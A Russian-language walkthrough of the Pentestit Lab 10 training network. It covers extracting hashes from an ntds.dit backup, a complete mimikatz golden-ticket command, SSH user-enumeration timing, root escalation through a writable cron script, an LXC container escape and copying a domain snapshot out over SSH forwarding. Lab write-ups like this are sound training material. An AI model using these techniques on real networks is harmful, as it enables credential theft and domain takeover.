Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 76

Прежде чем продолжить, нужно подготовиться, установив специальные утилиты для работы с таблицами NTDS.dit: libesedb и NTDSXtract. Можно установить их в /opt таким образом:

cd /opt

git clone https://github.com/libyal/libesedb.git
cd libese/
apt-get install git autoconf automake autopoint libtool pkg-config build-essential
./synclibs.sh
./autogen.sh
./configure
make
make install

cd ..

git clone https://github.com/csababarta/ntdsxtract.git

Теперь все готово. В первую очередь, извлечем таблицы из ntds.dit с помощью esedbexport:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 77

В появившемся каталоге ntds.dit.export воспользуемся NTDSXtract чтобы извлечь хеши:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 78

В результате выполнения этой команды, получим файл nt.john.out с извлеченными хешами в новой папке dump/:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 79

Иногда на этом можно остановиться, если можно восстановить пароль из извлеченного хеша администратора. В данном случае, так как это резервная копия, пароль уже не подходит. Поэтому воспользуемся атакой Pass the Ticket (ptt), в которой мы используем хеш учетной записи krbtgt для генерации так называемого golden ticket.

Для этого загрузим mimikatz на терминал, и запустим его с правами администратора:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 80

Для создания golden ticket нам потребуется SID домена (получен с помощью команды lsadump::lsa на скриншоте выше), имя учетной записи администратора домена (получено из NTDS.dit), хеш учетной записи krbtgt (также получен выше) и имена групп, в которые входит администратор (стандартные значения: 500, 501, 513, 512, 520, 518, 519).

Используя эту информацию, создадим golden ticket и применим его:

kerberos::golden /domain:gds-office.lab /sid:S-1-5-21-421115581-889488229-2938181853 /rc4:1dc9bae0282962e7d761a2eda274e6d7 /id:500 /user:administrator /groups:500,501,513,512,520,518,519 /ptt

Затем запустим отдельный cmd.exe с примененным тикетом, и получим доступ к ресурсу C$ на контроллере домена:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 81

Вот и токен! На данный момент мы обладаем полными правами администратора домена на этом диске, а соответственно можем выполнять произвольный код на контроллере домена, что обычно ознаменовывает успешный финал любого пентеста.

В данном случае атака была сильно упрощена — имелась резервная копия дисков контроллера домена, отсутствовало активное обнаружение атак, включая тот же mimikatz, а так же отсутствовали необходимые патчи.

Последний рубеж — cloud

Начинаем как обычно со сканирования портов:

Обнаружив службу SSH на порту 2222 пробуем зайти туда с учетной записью rross и паролем, найденным на терминале.

Примечание

Эта цепочка в лаборатории была довольно запутанной, потому что нам изначально был доступен сервер ownCloud с учетной записью администратора (как обсуждалось в начале статьи), веб-сервер был неправильно сконфигурирован, и можно было скачать sqlite базу данных ownCloud (http://cloud.gds.lab/data/owncloud.db), из которой можно было извлечь хеш не поддающийся перебору (соль сохранена на диске и мы не имеем к ней доступа). При этом, SSH-ключ пользователя rross был найден уже давно, во время перебора содержимого /data/users/ на хосте SSH, но, к сожалению, не подошел. Так как на порту 2222 включена аутентификация по паролю, можно было попробовать определить какие пользователи присутствуют на компьютере rross с помощью атаки user enumeration timing attack. Для этого можно использовать инструмент osueta.

Эта утилита отправляет пароли длиной 40 тыс символов и замеряет разницу в ответах от сервера — если пользователь существует, то OpenSSH вычисляет хеш пароля, а если пользователя нет — то сразу возвращается ответ с негативным результатом аутентификации. В текущей версии OpenSSH этот недочет исправлен, но тем не менее уязвимость присутствует во многих конфигурациях, и позволяет значительно сократить время на подбор пароля.

В любом случае, после успешного получения токена win-term у нас есть пароль, с которым можно зайти на SSH.

Интересно, что каждый раз когда мы попадаем на сервер, мы попадаем в разный lxc-контейнер — от lxc1 до lxc5.

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 82

После изучения, становится понятно, что нужно поднимать привилегии, потому что с привилегиями пользователя rross ничего интересного не доступно.

На lxc1 допущена классическая ошибка в управлении правами:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 83

Скрипт clear_nginx_logs.sh регулярно запускается с правами root, при этом его можно модифицировать любому пользователю. Создадим нового пользователя в системе:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 84

Здесь мы добавляем нового пользователя в /etc/passwd с именем ff и паролем 123 (захешированном в устаревшем формате, для простоты) с id равным 0 (root). Через минуту заходим под этим пользователем и получаем полный доступ к контейнеру:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 85

Пользователь добавлен, но токена в контейнере все равно нет — нужно выйти за пределы контейнера. Недавно NCC Group опубликовали исследование по этому поводу. Пример на странице 16 — это эксплоит, применив который можно получить доступ к файловой системе хостовой машины.

Скомпилируем и запустим файл на контейнере:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 86

И наконец — финал, последний токен в файле token.txt на хостовой машине:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 87

Последний токен взят!

Обратим внимание на файл ntdsutil_snapshot.zip — скопировав его на локальный компьютер можно получить резервную копию файлов ntds.dit и SYSTEM еще одним способом. Включим локальный SSH сервис, и сделаем его доступным на контейнере:

service ssh start

Затем сделаем remote port forwarding через SSH:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 88

И скопируем файл через scp:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 89

Распаковав его, получим те же ntds.dit и SYSTEM для win-dc0:

Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit - 90

Лаборатория пройдена!

Весь материал здесь представлен исключительно в образовательных целях, поэтому ваши комментарии по прохождению лаборатории приветствуются — пусть как можно больше людей узнают о разных способах решения той или иной задачи.

Тем, кто еще не успел пройти лабораторию и испытать радость взятия каждой машины в сети, желаю удачи.

Хочу поблагодарить Pentestit за прекрасную лабораторию — было интересно, и поблагодарить читателя за то, что дошли до этого момента.

Спасибо! Ждем 11-ю лабораторию в мае 2017-го года.

Автор: DefconRU

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js